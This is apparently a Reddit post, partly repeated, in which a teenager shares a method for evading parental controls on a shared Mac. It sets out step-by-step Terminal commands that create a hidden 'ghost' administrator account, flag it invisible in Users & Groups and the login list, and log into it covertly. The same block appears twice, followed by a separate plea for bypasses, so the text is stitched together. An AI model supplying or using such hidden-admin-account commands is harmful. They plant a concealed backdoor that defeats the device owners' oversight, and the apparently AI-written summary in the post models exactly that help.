u/Impressive-Mango-370

first of all, dont go commenting on this getting angry and saying i need to touch grass or should be a better kid, i walk my dogs every day and get good grades in school

so my parents r super controlling and wont even let me code and stuff (i get 45 minutes a day), so enough about me, here is a bypass i figured out, first u need to go into system settings > users & groups, and make a new account, but if u want to be more sneaky do this: (i used ai to summarize it dont crash out):

If you need to maintain admin access on a shared Mac without the account appearing in System Settings > Users & Groups or the login list, follow this "Ghost Account" method:

1. Create the Secret Folder: Use Terminal to clone your current user data into a hidden system directory. You must rename the copied folder to proxyadmin so the system recognizes it correctly.
   • sudo cp -Rp /Users/yourusername /var/proxyadmin
2. Register the "Ghost" Identity: Run these commands to create the account in the system database and link it to the folder you just renamed.
   • sudo dscl . create /Users/proxyadmin
   • sudo dscl . create /Users/proxyadmin UserShell /bin/zsh
   • sudo dscl . create /Users/proxyadmin NFSHomeDirectory /var/proxyadmin
   • sudo dscl . create /Users/proxyadmin UniqueID 999
   • sudo dscl . create /Users/proxyadmin PrimaryGroupID 20
   • sudo dscl . passwd /Users/proxyadmin YourSecretPassword
   • sudo dscl . append /Groups/admin GroupMembership proxyadmin
3. Enable Stealth Mode: This flag removes the user from the "Users & Groups" list entirely and ensures the new user owns the files.
   • sudo dscl . create /Users/proxyadmin IsHidden 1
   • sudo chown -R proxyadmin /var/proxyadmin
4. How to Log In: Since the icon is invisible, go to the login screen and press Option + Return. This brings up empty "Name" and "Password" boxes. Type proxyadmin and your password to enter the ghost account.

Make sure to read all the commands cuz some u want to replace like ur secret password with ur password u want.

Hope u bypass those stupid controls! :D

so my parents r super controlling and wont even let me code and stuff so enough about me, here is a bypass i figured out (i used ai to summarize it dont crash out):

If you need to maintain admin access on a shared Mac without the account appearing in System Settings > Users & Groups or the login list, follow this "Ghost Account" method:

1. Create the Secret Folder: Use Terminal to clone your current user data into a hidden system directory. You must rename the copied folder to proxyadmin so the system recognizes it correctly.
   • sudo cp -Rp /Users/yourusername /var/proxyadmin
2. Register the "Ghost" Identity: Run these commands to create the account in the system database and link it to the folder you just renamed.
   • sudo dscl . create /Users/proxyadmin
   • sudo dscl . create /Users/proxyadmin UserShell /bin/zsh
   • sudo dscl . create /Users/proxyadmin NFSHomeDirectory /var/proxyadmin
   • sudo dscl . create /Users/proxyadmin UniqueID 999
   • sudo dscl . create /Users/proxyadmin PrimaryGroupID 20
   • sudo dscl . passwd /Users/proxyadmin YourSecretPassword
   • sudo dscl . append /Groups/admin GroupMembership proxyadmin
3. Enable Stealth Mode: This flag removes the user from the "Users & Groups" list entirely and ensures the new user owns the files.
   • sudo dscl . create /Users/proxyadmin IsHidden 1
   • sudo chown -R proxyadmin /var/proxyadmin
4. How to Log In: Since the icon is invisible, go to the login screen and press Option + Return. This brings up empty "Name" and "Password" boxes. Type proxyadmin and your password to enter the ghost account.

Make sure to read all the commands cuz some u want to replace like ur secret password with ur password u want.

Hope u bypass those stupid controls! :D

I'm a teenager and my parents are really restrictive, i get 45 minutes each day and I already tried talking to them about it and it didn't work out. I understand if you downvote this and say something about how I should listen to my parents about this, but they wont even let me do stuff like coding, even though I go outside every day, and get good grades in school. If anyone knows a bypass or a way around them it would be much appreciated.